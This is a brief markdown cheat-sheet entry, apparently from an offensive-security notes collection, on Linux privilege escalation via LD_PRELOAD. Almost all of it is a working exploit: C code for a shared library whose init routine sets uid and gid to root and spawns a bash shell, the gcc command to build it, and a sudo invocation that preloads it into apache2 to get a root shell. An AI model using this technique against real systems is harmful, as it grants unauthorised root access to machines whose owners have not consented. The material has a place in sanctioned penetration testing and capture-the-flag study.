killchain-compendium/exploit/linux/ld_preload.md

LD_PRELOAD

• Preload libs and do interpositioning of functions.

Example

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

• gcc -fPIC -shared -o lib.so lib.c -nostartfiles
• sudo LD_PRELOAD=lib.so apache2
• $ id